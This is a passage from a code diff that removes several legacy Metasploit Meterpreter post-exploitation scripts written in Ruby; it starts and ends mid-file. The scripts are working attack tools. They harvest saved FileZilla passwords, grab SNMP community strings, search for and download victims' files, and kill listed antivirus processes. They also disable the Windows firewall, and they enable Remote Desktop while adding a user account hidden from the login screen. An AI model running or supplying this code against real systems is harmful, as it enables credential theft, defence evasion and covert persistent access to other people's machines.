"-o" => [true, "Output File to save the full path of files found."],
|
||||
"-r" => [false, "Search subdirectories."],
|
||||
"-l" => [true, "Location where to save the files."]
|
||||
)
|
||||
# Function for displaying help message
|
||||
def usage
|
||||
print_line "Meterpreter Script for searching and downloading files that"
|
||||
print_line "match a specific pattern. First save files to a file, edit and"
|
||||
print_line("use that same file to download the choosen files.")
|
||||
print_line(@opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Check that we are running under the right type of Meterpreter
|
||||
if client.platform =~ /win32|win64/
|
||||
# Parse the options
|
||||
if args.length > 0
|
||||
@opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-i"
|
||||
input_file = val
|
||||
when "-o"
|
||||
output_file = val
|
||||
when "-d"
|
||||
location = val
|
||||
when "-f"
|
||||
search_blob = val.split("|")
|
||||
when "-r"
|
||||
recurse = true
|
||||
when "-l"
|
||||
logs = val
|
||||
end
|
||||
}
|
||||
# Search for files and save their location if specified
|
||||
if search_blob.length > 0 and location
|
||||
search_blob.each do |s|
|
||||
print_status("Searching for #{s}")
|
||||
results = @client.fs.file.search(location,s,recurse)
|
||||
results.each do |file|
|
||||
print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)")
|
||||
file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
|
||||
end
|
||||
end
|
||||
end
|
||||
# Read log file and download those files found
|
||||
if input_file and logs
|
||||
if ::File.exist?(input_file)
|
||||
print_status("Reading file #{input_file}")
|
||||
print_status("Downloading to #{logs}")
|
||||
::File.open(input_file, "r").each_line do |line|
|
||||
print_status("\tDownloading #{line.chomp}")
|
||||
@client.fs.file.download(logs, line.chomp)
|
||||
end
|
||||
else
|
||||
print_error("File #{input_file} does not exist!")
|
||||
end
|
||||
end
|
||||
else
|
||||
usage
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,70 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Meterpreter script for listing installed applications and their version.
|
||||
# Provided: carlos_perez[at]darkoperator[dot]com
|
||||
|
||||
#Options and Option Parsing
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
|
||||
def app_list
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Installed Applications",
|
||||
'Indent' => 1,
|
||||
'Columns' => [
|
||||
"Name",
|
||||
"Version"
|
||||
])
|
||||
appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
|
||||
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ]
|
||||
threadnum = 0
|
||||
a = []
|
||||
appkeys.each do |keyx86|
|
||||
soft_keys = registry_enumkeys(keyx86)
|
||||
if soft_keys
|
||||
soft_keys.each do |k|
|
||||
if threadnum < 10
|
||||
a.push(::Thread.new {
|
||||
begin
|
||||
dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName")
|
||||
dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion")
|
||||
if dispnm =~ /\S*/
|
||||
tbl << [dispnm,dispversion]
|
||||
end
|
||||
rescue
|
||||
end
|
||||
})
|
||||
threadnum += 1
|
||||
else
|
||||
sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty?
|
||||
threadnum = 0
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
end
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for extracting a list installed applications and their version."
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
app_list
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,177 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
require "rexml/document"
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
#Options and Option Parsing
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-c" => [ false, "Return credentials." ]
|
||||
)
|
||||
|
||||
get_credentials=false
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "Meterpreter Script for extracting servers and credentials from Filezilla."
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-c"
|
||||
get_credentials=true
|
||||
end
|
||||
}
|
||||
### If we get here and have none of our flags true, then we'll just
|
||||
### get credentials
|
||||
if !(get_credentials)
|
||||
get_credentials=true
|
||||
end
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
#Set General Variables used in the script
|
||||
@client = client
|
||||
os = @client.sys.config.sysinfo['OS']
|
||||
host = @client.sys.config.sysinfo['Computer']
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
# Create a directory for the logs
|
||||
logs = ::File.join(Msf::Config.log_directory, 'filezilla', Rex::FileUtils.clean_path(host + filenameinfo) )
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
#logfile name
|
||||
dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt")
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
#function for checking of FileZilla profile is present
|
||||
def check_filezilla(path)
|
||||
found = nil
|
||||
@client.fs.dir.foreach(path) do |x|
|
||||
next if x =~ /^(\.|\.\.)$/
|
||||
if x =~ (/FileZilla/)
|
||||
### If we find the path, let's return it
|
||||
found = path + x
|
||||
return found
|
||||
end
|
||||
end
|
||||
return found
|
||||
end
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
|
||||
def extract_saved_creds(path,xml_file)
|
||||
accounts_xml = ""
|
||||
creds = ""
|
||||
print_status("Reading #{xml_file} file...")
|
||||
### modified to use pidgin_path, which already has .purple in it
|
||||
account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb")
|
||||
until account_file.eof?
|
||||
accounts_xml << account_file.read
|
||||
end
|
||||
account_file.close
|
||||
doc = (REXML::Document.new accounts_xml).root
|
||||
doc.elements.to_a("//Server").each do |e|
|
||||
print_status "\tHost: #{e.elements["Host"].text}"
|
||||
creds << "Host: #{e.elements["Host"].text}"
|
||||
print_status "\tPort: #{e.elements["Port"].text}"
|
||||
creds << "Port: #{e.elements["Port"].text}"
|
||||
logon_type = e.elements["Logontype"].text
|
||||
if logon_type == "0"
|
||||
print_status "\tLogon Type: Anonymous"
|
||||
creds << "Logon Type: Anonymous"
|
||||
elsif logon_type =~ /1|4/
|
||||
print_status "\tUser: #{e.elements["User"].text}"
|
||||
creds << "User: #{e.elements["User"].text}"
|
||||
print_status "\tPassword: #{e.elements["Pass"].text}"
|
||||
creds << "Password: #{e.elements["Pass"].text}"
|
||||
elsif logon_type =~ /2|3/
|
||||
print_status "\tUser: #{e.elements["User"].text}"
|
||||
creds << "User: #{e.elements["User"].text}"
|
||||
end
|
||||
|
||||
proto = e.elements["Protocol"].text
|
||||
if proto == "0"
|
||||
print_status "\tProtocol: FTP"
|
||||
creds << "Protocol: FTP"
|
||||
elsif proto == "1"
|
||||
print_status "\tProtocol: SSH"
|
||||
creds << "Protocol: SSH"
|
||||
elsif proto == "3"
|
||||
print_status "\tProtocol: FTPS"
|
||||
creds << "Protocol: FTPS"
|
||||
elsif proto == "4"
|
||||
print_status "\tProtocol: FTPES"
|
||||
creds << "Protocol: FTPES"
|
||||
end
|
||||
print_status ""
|
||||
creds << ""
|
||||
|
||||
end
|
||||
#
|
||||
return creds
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
#Function to enumerate the users if running as SYSTEM
|
||||
def enum_users(os)
|
||||
users = []
|
||||
|
||||
path4users = ""
|
||||
sysdrv = @client.sys.config.getenv('SystemDrive')
|
||||
|
||||
if os =~ /7|Vista|2008/
|
||||
path4users = sysdrv + "\\users\\"
|
||||
path2purple = "\\AppData\\Roaming\\"
|
||||
else
|
||||
path4users = sysdrv + "\\Documents and Settings\\"
|
||||
path2purple = "\\Application Data\\"
|
||||
end
|
||||
|
||||
if is_system?
|
||||
print_status("Running as SYSTEM extracting user list..")
|
||||
@client.fs.dir.foreach(path4users) do |u|
|
||||
userinfo = {}
|
||||
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
userinfo['username'] = u
|
||||
userinfo['userappdata'] = path4users + u + path2purple
|
||||
users << userinfo
|
||||
end
|
||||
else
|
||||
userinfo = {}
|
||||
uservar = @client.sys.config.getenv('USERNAME')
|
||||
userinfo['username'] = uservar
|
||||
userinfo['userappdata'] = path4users + uservar + path2purple
|
||||
users << userinfo
|
||||
end
|
||||
return users
|
||||
end
|
||||
|
||||
################## MAIN ##################
|
||||
if client.platform =~ /win32|win64/
|
||||
print_status("Running Meterpreter FileZilla Credential harvester script")
|
||||
print_status("All services are logged at #{dest}")
|
||||
enum_users(os).each do |u|
|
||||
print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...")
|
||||
### Find the path (if it exists) for this user,
|
||||
filezilla_path = check_filezilla(u['userappdata'])
|
||||
if filezilla_path
|
||||
print_status("FileZilla profile found!")
|
||||
### modified to use filezilla_path
|
||||
xml_cfg_files = ['sitemanager.xml','recentservers.xml']
|
||||
if get_credentials
|
||||
xml_cfg_files.each do |xml_cfg_file|
|
||||
file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file))
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
print_error("Filezilla profile not found!")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,35 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Meterpreter script that display local subnets
|
||||
# Provided by Nicob <nicob [at] nicob.net>
|
||||
# Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
def usage
|
||||
print_line("Get a list of local subnets based on the host's routes")
|
||||
print_line("USAGE: run get_local_subnets")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
client.net.config.each_route { |route|
|
||||
# Remove multicast and loopback interfaces
|
||||
next if route.subnet =~ /^(224\.|127\.)/
|
||||
next if route.subnet == '0.0.0.0'
|
||||
next if route.netmask == '255.255.255.255'
|
||||
print_line("Local subnet: #{route.subnet}/#{route.netmask}")
|
||||
}
|
|
@ -1,64 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#copied getvncpw - thanks grutz/carlos
|
||||
|
||||
session = client
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."]
|
||||
)
|
||||
|
||||
def usage()
|
||||
print("\nPull the SNMP community string from a Windows Meterpreter session\n\n")
|
||||
completed
|
||||
end
|
||||
|
||||
def get_community(session)
|
||||
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
|
||||
begin
|
||||
# oddly enough this does not return the data field which indicates ro/rw
|
||||
return open_key.enum_value.collect {|x| x.name}
|
||||
rescue
|
||||
# no registry key found or other error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
if client.platform =~ /win32|win64/
|
||||
print_status("Searching for community strings...")
|
||||
strs = get_community(session)
|
||||
if strs
|
||||
strs.each do |str|
|
||||
print_good("FOUND: #{str}")
|
||||
@client.framework.db.report_auth_info(
|
||||
:host => client.sock.peerhost,
|
||||
:port => 161,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:user => '',
|
||||
:pass => str,
|
||||
:type => "snmp.community",
|
||||
:duplicate_ok => true
|
||||
)
|
||||
end
|
||||
else
|
||||
print_status("Not found")
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,381 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration.
|
||||
# Provides also the option to kill the processes of detected products and disable the built-in firewall.
|
||||
# Provided by Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
# Version: 0.1.0
|
||||
session = client
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ],
|
||||
"-d" => [ false, "Disable built in Firewall" ]
|
||||
)
|
||||
|
||||
def usage
|
||||
print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV")
|
||||
print_line("processes, show XP firewall rules, and display DEP and UAC")
|
||||
print_line("policies")
|
||||
print(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
avs = %W{
|
||||
a2adguard.exe
|
||||
a2adwizard.exe
|
||||
a2antidialer.exe
|
||||
a2cfg.exe
|
||||
a2cmd.exe
|
||||
a2free.exe
|
||||
a2guard.exe
|
||||
a2hijackfree.exe
|
||||
a2scan.exe
|
||||
a2service.exe
|
||||
a2start.exe
|
||||
a2sys.exe
|
||||
a2upd.exe
|
||||
aavgapi.exe
|
||||
aawservice.exe
|
||||
aawtray.exe
|
||||
ad-aware.exe
|
||||
ad-watch.exe
|
||||
alescan.exe
|
||||
anvir.exe
|
||||
ashdisp.exe
|
||||
ashmaisv.exe
|
||||
ashserv.exe
|
||||
ashwebsv.exe
|
||||
aswupdsv.exe
|
||||
atrack.exe
|
||||
avgagent.exe
|
||||
avgamsvr.exe
|
||||
avgcc.exe
|
||||
avgctrl.exe
|
||||
avgemc.exe
|
||||
avgnt.exe
|
||||
avgtcpsv.exe
|
||||
avguard.exe
|
||||
avgupsvc.exe
|
||||
avgw.exe
|
||||
avkbar.exe
|
||||
avk.exe
|
||||
avkpop.exe
|
||||
avkproxy.exe
|
||||
avkservice.exe
|
||||
avktray
|
||||
avktray.exe
|
||||
avkwctl
|
||||
avkwctl.exe
|
||||
avmailc.exe
|
||||
avp.exe
|
||||
avpm.exe
|
||||
avpmwrap.exe
|
||||
avsched32.exe
|
||||
avwebgrd.exe
|
||||
avwin.exe
|
||||
avwupsrv.exe
|
||||
avz.exe
|
||||
bdagent.exe
|
||||
bdmcon.exe
|
||||
bdnagent.exe
|
||||
bdss.exe
|
||||
bdswitch.exe
|
||||
blackd.exe
|
||||
blackice.exe
|
||||
blink.exe
|
||||
boc412.exe
|
||||
boc425.exe
|
||||
bocore.exe
|
||||
bootwarn.exe
|
||||
cavrid.exe
|
||||
cavtray.exe
|
||||
ccapp.exe
|
||||
ccevtmgr.exe
|
||||
ccimscan.exe
|
||||
ccproxy.exe
|
||||
ccpwdsvc.exe
|
||||
ccpxysvc.exe
|
||||
ccsetmgr.exe
|
||||
cfgwiz.exe
|
||||
cfp.exe
|
||||
clamd.exe
|
||||
clamservice.exe
|
||||
clamtray.exe
|
||||
cmdagent.exe
|
||||
cpd.exe
|
||||
cpf.exe
|
||||
csinsmnt.exe
|
||||
dcsuserprot.exe
|
||||
defensewall.exe
|
||||
defensewall_serv.exe
|
||||
defwatch.exe
|
||||
f-agnt95.exe
|
||||
fpavupdm.exe
|
||||
f-prot95.exe
|
||||
f-prot.exe
|
||||
fprot.exe
|
||||
fsaua.exe
|
||||
fsav32.exe
|
||||
f-sched.exe
|
||||
fsdfwd.exe
|
||||
fsm32.exe
|
||||
fsma32.exe
|
||||
fssm32.exe
|
||||
f-stopw.exe
|
||||
f-stopw.exe
|
||||
fwservice.exe
|
||||
fwsrv.exe
|
||||
iamstats.exe
|
||||
iao.exe
|
||||
icload95.exe
|
||||
icmon.exe
|
||||
idsinst.exe
|
||||
idslu.exe
|
||||
inetupd.exe
|
||||
irsetup.exe
|
||||
isafe.exe
|
||||
isignup.exe
|
||||
issvc.exe
|
||||
kav.exe
|
||||
kavss.exe
|
||||
kavsvc.exe
|
||||
klswd.exe
|
||||
kpf4gui.exe
|
||||
kpf4ss.exe
|
||||
livesrv.exe
|
||||
lpfw.exe
|
||||
mcagent.exe
|
||||
mcdetect.exe
|
||||
mcmnhdlr.exe
|
||||
mcrdsvc.exe
|
||||
mcshield.exe
|
||||
mctskshd.exe
|
||||
mcvsshld.exe
|
||||
mghtml.exe
|
||||
mpftray.exe
|
||||
msascui.exe
|
||||
mscifapp.exe
|
||||
msfwsvc.exe
|
||||
msgsys.exe
|
||||
msssrv.exe
|
||||
navapsvc.exe
|
||||
navapw32.exe
|
||||
navlogon.dll
|
||||
navstub.exe
|
||||
navw32.exe
|
||||
nisemsvr.exe
|
||||
nisum.exe
|
||||
nmain.exe
|
||||
noads.exe
|
||||
nod32krn.exe
|
||||
nod32kui.exe
|
||||
nod32ra.exe
|
||||
npfmntor.exe
|
||||
nprotect.exe
|
||||
nsmdtr.exe
|
||||
oasclnt.exe
|
||||
ofcdog.exe
|
||||
opscan.exe
|
||||
ossec-agent.exe
|
||||
outpost.exe
|
||||
paamsrv.exe
|
||||
pavfnsvr.exe
|
||||
pcclient.exe
|
||||
pccpfw.exe
|
||||
pccwin98.exe
|
||||
persfw.exe
|
||||
protector.exe
|
||||
qconsole.exe
|
||||
qdcsfs.exe
|
||||
rtvscan.exe
|
||||
sadblock.exe
|
||||
safe.exe
|
||||
sandboxieserver.exe
|
||||
savscan.exe
|
||||
sbiectrl.exe
|
||||
sbiesvc.exe
|
||||
sbserv.exe
|
||||
scfservice.exe
|
||||
sched.exe
|
||||
schedm.exe
|
||||
scheduler daemon.exe
|
||||
sdhelp.exe
|
||||
serv95.exe
|
||||
sgbhp.exe
|
||||
sgmain.exe
|
||||
slee503.exe
|
||||
smartfix.exe
|
||||
smc.exe
|
||||
snoopfreesvc.exe
|
||||
snoopfreeui.exe
|
||||
spbbcsvc.exe
|
||||
sp_rsser.exe
|
||||
spyblocker.exe
|
||||
spybotsd.exe
|
||||
spysweeper.exe
|
||||
spysweeperui.exe
|
||||
spywareguard.dll
|
||||
spywareterminatorshield.exe
|
||||
ssu.exe
|
||||
steganos5.exe
|
||||
stinger.exe
|
||||
swdoctor.exe
|
||||
swupdate.exe
|
||||
symlcsvc.exe
|
||||
symundo.exe
|
||||
symwsc.exe
|
||||
symwscno.exe
|
||||
tcguard.exe
|
||||
tds2-98.exe
|
||||
tds-3.exe
|
||||
teatimer.exe
|
||||
tgbbob.exe
|
||||
tgbstarter.exe
|
||||
tsatudt.exe
|
||||
umxagent.exe
|
||||
umxcfg.exe
|
||||
umxfwhlp.exe
|
||||
umxlu.exe
|
||||
umxpol.exe
|
||||
umxtray.exe
|
||||
usrprmpt.exe
|
||||
vetmsg9x.exe
|
||||
vetmsg.exe
|
||||
vptray.exe
|
||||
vsaccess.exe
|
||||
vsserv.exe
|
||||
wcantispy.exe
|
||||
win-bugsfix.exe
|
||||
winpatrol.exe
|
||||
winpatrolex.exe
|
||||
wrsssdk.exe
|
||||
xcommsvr.exe
|
||||
xfr.exe
|
||||
xp-antispy.exe
|
||||
zegarynka.exe
|
||||
zlclient.exe
|
||||
}
|
||||
#-------------------------------------------------------------------------------
|
||||
# Check for the presence of AV, HIPS and Third Party firewall and/or kill the
|
||||
# processes associated with it
|
||||
def check(session,avs,killbit)
|
||||
print_status("Checking for contermeasures...")
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if (avs.index(x['name'].downcase))
|
||||
print_status("\tPossible countermeasure found #{x['name']} #{x['path']}")
|
||||
if (killbit)
|
||||
print_status("\tKilling process for countermeasure.....")
|
||||
session.sys.process.kill(x['pid'])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
# Get the configuration and/or disable the built in Windows Firewall
|
||||
def checklocalfw(session,killfw)
|
||||
print_status("Getting Windows Built in Firewall configuration...")
|
||||
opmode = ""
|
||||
r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
opmode << d
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
opmode.split("\n").each do |o|
|
||||
print_status("\t#{o}")
|
||||
end
|
||||
if (killfw)
|
||||
print_status("Disabling Built in Firewall.....")
|
||||
f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true})
|
||||
while(d = f.channel.read)
|
||||
if d =~ /The requested operation requires elevation./
|
||||
print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall")
|
||||
end
|
||||
end
|
||||
f.channel.close
|
||||
f.close
|
||||
end
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
# Function for getting the current DEP Policy on the Windows Target
|
||||
def checkdep(session)
|
||||
tmpout = ""
|
||||
depmode = ""
|
||||
# Expand environment %TEMP% variable
|
||||
tmp = session.sys.config.getenv('TEMP')
|
||||
# Create random name for the wmic output
|
||||
wmicfile = sprintf("%.5d",rand(100000))
|
||||
wmicout = "#{tmp}\\#{wmicfile}"
|
||||
print_status("Checking DEP Support Policy...")
|
||||
r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true})
|
||||
sleep(2)
|
||||
r.close
|
||||
r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
tmpout << d
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true})
|
||||
depmode = tmpout.scan(/(\d)/)
|
||||
if depmode.to_s == "0"
|
||||
print_status("\tDEP is off for the whole system.")
|
||||
elsif depmode.to_s == "1"
|
||||
print_status("\tFull DEP coverage for the whole system with no exceptions.")
|
||||
elsif depmode.to_s == "2"
|
||||
print_status("\tDEP is limited to Windows system binaries.")
|
||||
elsif depmode.to_s == "3"
|
||||
print_status("\tDEP is on for all programs and services.")
|
||||
end
|
||||
|
||||
end
|
||||
#-------------------------------------------------------------------------------
|
||||
def checkuac(session)
|
||||
print_status("Checking if UAC is enabled ...")
|
||||
key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
value = "EnableLUA"
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
|
||||
v = open_key.query_value(value)
|
||||
if v.data == 1
|
||||
print_status("\tUAC is Enabled")
|
||||
else
|
||||
print_status("\tUAC is Disabled")
|
||||
end
|
||||
end
|
||||
|
||||
################## MAIN ##################
|
||||
killbt = false
|
||||
killfw = false
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-k"
|
||||
killbt = true
|
||||
when "-d"
|
||||
killfw = true
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
# get the version of windows
|
||||
if client.platform =~ /win32|win64/
|
||||
wnvr = session.sys.config.sysinfo["OS"]
|
||||
print_status("Running Getcountermeasure on the target...")
|
||||
check(session,avs,killbt)
|
||||
if wnvr !~ /Windows 2000/
|
||||
checklocalfw(session, killfw)
|
||||
checkdep(session)
|
||||
end
|
||||
if wnvr =~ /Windows Vista/
|
||||
checkuac(session)
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,190 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
|
||||
session = client
|
||||
host_name = client.sys.config.sysinfo['Computer']
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
logs = ::File.join(Msf::Config.log_directory,'scripts', 'getgui')
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
# Cleaup script file name
|
||||
@dest = logs + "/clean_up_" + filenameinfo + ".rc"
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-e" => [ false, "Enable RDP only." ],
|
||||
"-p" => [ true, "The Password of the user to add." ],
|
||||
"-u" => [ true, "The Username of the user to add." ],
|
||||
"-f" => [ true, "Forward RDP Connection." ]
|
||||
)
|
||||
def usage
|
||||
print_line("Windows Remote Desktop Enabler Meterpreter Script")
|
||||
print_line("Usage: getgui -u <username> -p <password>")
|
||||
print_line("Or: getgui -e")
|
||||
print(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def enablerd()
|
||||
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
|
||||
value = "fDenyTSConnections"
|
||||
begin
|
||||
v = registry_getvaldata(key,value)
|
||||
print_status "Enabling Remote Desktop"
|
||||
if v == 1
|
||||
print_status "\tRDP is disabled; enabling it ..."
|
||||
registry_setvaldata(key,value,0,"REG_DWORD")
|
||||
file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
|
||||
else
|
||||
print_status "\tRDP is already enabled"
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def enabletssrv()
|
||||
rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
|
||||
begin
|
||||
v2 = registry_getvaldata(rdp_key,"Start")
|
||||
print_status "Setting Terminal Services service startup mode"
|
||||
if v2 != 2
|
||||
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
|
||||
service_change_startup("TermService","auto")
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
|
||||
cmd_exec("sc start termservice")
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
|
||||
|
||||
else
|
||||
print_status "\tTerminal Services service is already set to auto"
|
||||
end
|
||||
#Enabling Exception on the Firewall
|
||||
print_status "\tOpening port in local firewall if necessary"
|
||||
cmd_exec('netsh firewall set service type = remotedesktop mode = enable')
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def addrdpusr(session, username, password)
|
||||
|
||||
rdu = resolve_sid("S-1-5-32-555")[:name]
|
||||
admin = resolve_sid("S-1-5-32-544")[:name]
|
||||
|
||||
|
||||
print_status "Setting user account for logon"
|
||||
print_status "\tAdding User: #{username} with Password: #{password}"
|
||||
begin
|
||||
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
|
||||
if addusr_out =~ /success/i
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
|
||||
print_status "\tHiding user from Windows Login screen"
|
||||
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
|
||||
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
|
||||
file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
|
||||
